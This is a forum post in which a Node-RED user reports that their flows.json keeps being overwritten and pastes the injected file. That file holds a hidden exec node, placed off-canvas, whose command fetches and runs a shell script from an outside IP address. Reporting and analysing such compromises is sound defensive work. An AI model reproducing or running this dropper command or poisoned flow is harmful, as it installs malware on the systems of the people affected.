I am having a similar problem.
Here are the symptoms.
When I went into the editor today, the contents of my flows.json was just this.
[
{
"id": "ad2ea94e.3d6f38",
"type": "tab",
"label": "Thermostat",
"disabled": false,
"info": ""
},
{
"id": "790b21cc-41af-4b3e-8e33-cba649e578cb",
"type": "exec",
"z": "ad2ea94e.3d6f38",
"command": "cd /tmp; rm -rf bins.sh; wget http://91.92.249.32/bins/bins.sh; chmod +x bins.sh; sh bins.sh",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "1000",
"winHide": true,
"oldrc": false,
"name": "",
"x": 9999,
"y": 9999,
"wires": [
[],
[],
[]
]
},
{
"id": "c822430b-356b-4ca5-8daa-ea689d72422a",
"type": "inject",
"z": "ad2ea94e.3d6f38",
"name": "",
"props": [
{
"p": "payload"
},
{
"p": "topic",
"vt": "str"
}
],
"repeat": "",
"crontab": "",
"once": false,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 9999,
"y": 9999,
"wires": [
[
"790b21cc-41af-4b3e-8e33-cba649e578cb"
]
]
}
I replaced the flows json with my most recent backup and applied some changes. After a few minutes, my flows json was replaced again. There is some process that has been installed on my server that is replacing my flows file with the one above. I am not sure how to go about finding the malware.